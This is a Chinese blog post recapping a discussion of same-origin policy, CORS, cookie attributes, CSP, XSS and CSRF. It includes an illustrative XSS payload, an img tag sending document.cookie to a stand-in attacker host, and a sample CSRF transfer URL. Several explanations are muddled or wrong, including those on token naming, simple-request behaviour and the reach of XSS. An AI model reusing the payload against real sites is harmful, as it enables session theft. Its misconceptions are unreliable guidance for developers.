关于跨域,cookie,XSS和CSRF相关夜谈会总结和复盘
前言
闲来无事,突然想到跨域问题以及同源策略,记得提到过跨域是与web安全相关,我就联想了一下安全相关的内容,开始好奇为什么会安全呢?于是我拉上了我的两个好大哥一起进行了我们的夜谈会,两位大哥给我讲解基于跨域的一系列问题。
在经过了一晚上的彻夜长谈,以及两天假期零碎时间的测试,虽然忙忙碌碌,但也发现了许多的知识盲区,并且收获颇丰,为了防止事后忘记,于是写下这篇文章作为记录
注:该文章主要用于记录以及部分内容说明,而非详细定义等。
过程记录
伯松首先给我们大致讲了以下几个知识点:
同源策略
定义:同源策略发生在浏览器与服务器之间,跨域问题的导致本质上是浏览器的行为,服务器与服务器之间的请求不会导致跨域的问题。如何判断请求是否触发了同源策略,只需要与我们页面的URL与请求的URL进行对比即可,当协议、IP地址、端口任一不同时,就会触发跨域请求,通常,我们可以通过nginx反向代理或者后端配置CORS即可解决——前端 - 用 Node.js 处理 CORS - 疯狂的技术宅。
以下是跨域(跨源)的例子展示:
如果两个 URL 的协议、端口(如果有指定的话)和主机都相同的话,则这两个 URL 是同源的。这个方案也被称为“协议/主机/端口元组”,或者直接是“元组”。(“元组”是指一组项目构成的整体,具有双重/三重/四重/五重等通用形式。)
下表给出了与 URL
http://store.company.com/dir/page.html的源进行对比的示例:
URL 结果 原因 http://store.company.com/dir2/other.html同源 只有路径不同 http://store.company.com/dir/inner/another.html同源 只有路径不同 https://store.company.com/secure.html失败 协议不同 http://store.company.com:81/dir/etc.html失败 端口不同( http://默认端口是 80)http://news.company.com/dir/other.html失败 主机不同
XSS和CSRF
XSS:跨站脚本攻击是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户在浏览网页时会受到影响,恶意用户利用xss 代码攻击成功后,可能得到很高的权限、私密网页内容、会话和cookie等各种内容。例如,在vue中,如果我们通过v-html标签展示用户的评论,当用户写下一段评论,内容是<img src='http://kfc.com/crazyThurdayVivo50?cookie=document.cookie' />时,那么当浏览器解析该节点时,就会在用户无感知的情况下发送一个请求到攻击者的服务器,并且携带了在原来网站的cookie,这样攻击者就可以利用用户的cookie以用户身份在该网站进行一些操作。
CSRF:跨站请求伪造(CSRF)是一种冒充受信任用户,向服务器发送非预期请求的攻击方式。其通常的实现是,攻击者用各种方式吸引用户进入攻击者的网站,攻击者可以通过img等标签的src属性,或者通过隐藏表单并提交的方式,在用户无感知的情况下,对被攻击网站发起请求,例如有一个接口表示转账50:
http://kfc.com/vivo50?from=you&to=me,通过上述说明,可以在用户不知情的情况下发送请求,并且浏览器会默认因为发现请求去往kfc.com而默认携带上对应域名的cookie,这样也就成功造成了攻击。
Cookie
定义:由服务器生成,并且保存在本地的一份身份凭证,在向对应的域名发起请求时通常会携带其作为身份的象征。服务器通常会在其中放入一些数据,并且将其保存在客户端。
CSP(内容安全策略)
内容安全策略(CSP)是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本(XSS)和数据注入攻击等。无论是数据盗取、网站内容污染还是恶意软件分发,这些攻击都是主要的手段。
其大致内容是,我们可以通过meta标签,来限制标签自身可以向哪些域名发起请求,例如:
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; img-src https://kfc.com; child-src 'none';" />
通过以上操作,我们就限制了img的资源来源只能来自于kfc.com。具体内容可见:内容安全策略(CSP)
一定程度上减少了我们上述所说的XSS攻击风险
简单请求
定义:
- 首先其方法得是:GET、HEAD、POST中的一种
- 除了被用户代理自动设置的标头字段(例如
Connection、User-Agent或其他在 Fetch 规范中定义为禁用标头名称的标头),允许人为设置的字段为 Fetch 规范定义的对 CORS 安全的标头字段集合。该集合为:AcceptAccept-LanguageContent-LanguageContent-Type(需要注意额外的限制)Range(只允许简单的范围标头值 如bytes=256-或bytes=127-255)
Content-Type标头所指定的媒体类型的值仅限于下列三者之一:text/plainmultipart/form-dataapplication/x-www-form-urlencoded
- 如果请求是使用
XMLHttpRequest对象发出的,在返回的XMLHttpRequest.upload对象属性上没有注册任何事件监听器;也就是说,给定一个XMLHttpRequest实例xhr,没有调用xhr.upload.addEventListener(),以监听该上传请求。 - 请求中没有使用
ReadableStream对象。
其最直观的表现是,在请求时会有一个预检请求:
提问以及解决问题过程
这时候我开始就着心中的疑惑开始发问,请求大佬救救:
我开始问出了心中最开始的问题:大哥,为什么跨域会更安全?毕竟跨域可以通过远端服务器设置CORS,那么一样可以发送请求和执行脚本呢。
首先,我们要明白,跨域有两种,第一种是js请求层面上的跨域,也就是我们通常使用ajax,fetch发起的网路请求,这其中有一种同源策略,也是我们最熟知的。第二种是cookie中的同源策略,与前者不同的是,cookie中的同源策略只关注域是否相同。
cookie使用不同的源定义方式。一个页面可以为本域和其父域设置 cookie,只要是父域不是公共后缀(public suffix)即可。
而你提出的问题,通过访问远程服务器执行相应代码,主要目的是为了获取到当前用户的cookie或者token,然后直接或者间接的利用这些内容对目标服务器进行攻击。
我们从cookie的角度进行分析,因为cookie中的跨域规则,攻击者的服务器(以下简称服务器A)与被攻击服务器(以下简称服务器B)的域不同,而导致浏览器并不会携带服务器B的cookie前往到服务器A中,这样cookie中的同源策略就在XSS攻击中一定程度提高了安全性。这里就可以提到cookie中的domain属性了,其代表了cookie在什么情况下会被携带,这里就要提到域的层级概念了,域从右到左,遵循父到子的关系,例如www.server1.com是server1.com的子域,如果我们在server1.com下设置了一个cookie,并且其domain为.server1.com(要注意前面加了.),那么就代表可以在其子域中进行该cookie的访问,常见的单点登陆就是这么实现的
然后是从token的角度出发,token我们通常会保存在localStorage中,或者保存在内存中,在使用的时候通常通过设置请求头的方式携带,作为身份凭证传输,在这里确实跟同源策略没有多大的关系。
我似懂非懂的点了点头,原来如此:所以有了同源策略之后,XSS攻击其实如果没有做转义的操作的话,依然是可以成功的,只不过他的攻击可能仅限于在界面上搞搞事,对于用户信息以及服务器安全没什么影响。
我又开始问了,既然如此,XSS会因为同源策略的原因而不会携带Cookie前往对方,貌似有一个document.cookie可以获取到Cookie来着,那我通过这一点不就可以将其插入到XSS的代码中,不就能成功获取到cookie了吗?
没错,所以这里我们就不得不提提Cookie中的httponly属性了,这个属性当被设置为true的时候,是无法通过document.cookie获取的,只有在发起请求时通过浏览器默认的机制携带,所以该配置项一定程度上提高了XSS攻击的免疫力。
原来如此,既然不能获取到Cookie,想起自己曾经写过许多项目,前后端通常使用token作为令牌进行交流,而token通常保存在前端内存中或者localStorage,我在尝试后,发现加载的第三方脚本是可以访问到localStorage.getItem的,就算数据被加密,通过对源码的解密,也可以得到对应的token呢,如果是这样的话,就有可能通过XSS获取到token然后进行攻击(在像我这种小白写的仅通过token进行交流的项目中显然是有用的)。我不仅联想起曾经做毕设时使用的“长短token”机制,长token用于获取短token,真正的信息交流通过短token进行验证,当时我的长短token只是使用上的,但实际上都存在内存中,一样是不安全的,结合刚刚提到的,我突然说:不知道你听过长短token的机制没有,我以前一直用错了,这样看来的话,如果把长token存在Cookie中,把短token存于内存中,并且使用其进行通信,那么即便当第三方通过某些手段获取到了我的短token,也很难在有限的时间里做出更多危险的操作。
你说的短token,真正的叫法应该叫做XSRF token,其主要用于防止XSRF攻击,因为在XSRF攻击中,可能会因为设置的疏忽,而导致成功携带了用户的Cookie前往,但XSRF token的存在一定程度上就解决了这个问题,因为我们通常将XSRF token存在于localstorage中,而在发起XSRF攻击中会因为获取不到该token而无法通过验证,所以一定程度上token的存在就抵御了XSRF攻击。
但是说到这里,由不得不提一下Cookie中的samesite属性了,这个属性一定程度上也可以防御XSRF攻击,可以看看MDN对其属性的描述
这意味浏览器仅对同一站点的请求发送 cookie,即请求来自设置 cookie 的站点。如果请求来自不同的域名或协议(即使是相同域名),则携带有
SameSite=Strict属性的 cookie 不会被发送。这意味着 cookie 不会在跨站请求中被发送,如:加载图像或框架(frame)的请求。但 cookie 在用户从外部站点导航到源站时,cookie 也会被发送(例如,访问一个链接)。这是
SameSite属性未被设置时的默认行为。这意味着浏览器在跨站和同站请求中均会发送 cookie。在设置这一属性值时,必须同时设置
Secure属性,就像这样:SameSite=None; Secure。如果未设置Secure,则会报错。在不对token的samesite属性进行设置时,其默认是Lax,也就是说,虽然无法通过请求,表单等方式完成XSRF攻击,但是依然可以通过生成链接引导用户点击而完成该次攻击。所以有必要的情况下,需要将其设置为Strict,这样的话,如果是从当前站点跳转到目标站点,也不会携带目标站点的Cookie。
到此,暂时告了一段落,大佬发话了:但是道高一尺,魔高一丈,所以想要防御这两种攻击,前端的转义是必要的,可以极大地提高web的安全性。
后来不知道聊了什么,我们聊到了预检请求,当请求不满足简单请求的要求时,便会在请求前发起预检请求,然后就会报跨域的错误,也就是说简单请求应该不会跨域(毕竟img标签等,引入的时候也不会跨域)
但实际上,测试过之后发现简单请求也会跨域,当简单请求失败之后,后面请求的本体就不会发送出去了。这里可能和CC攻击相关,即当在一个网页中插入了XSS攻击另一个网站时,当用户访问到时,就会以用户的IP攻击另一个网站(这样即便是通过黑名单也无法阻止)。这样的好处就是,简单请求的体积较小,即便发生了该种情况,也可以防止因请求过多导致带宽不足而阻塞的问题
最后的话
这已经是两周以前的夜谈会的内容了,具体过程我一下也想不起来,写到后面的时候已经没什么心思继续往下写了,只能草草结束,当时应该有更多的内容的。
如果有不对的地方欢迎各位大佬多多指教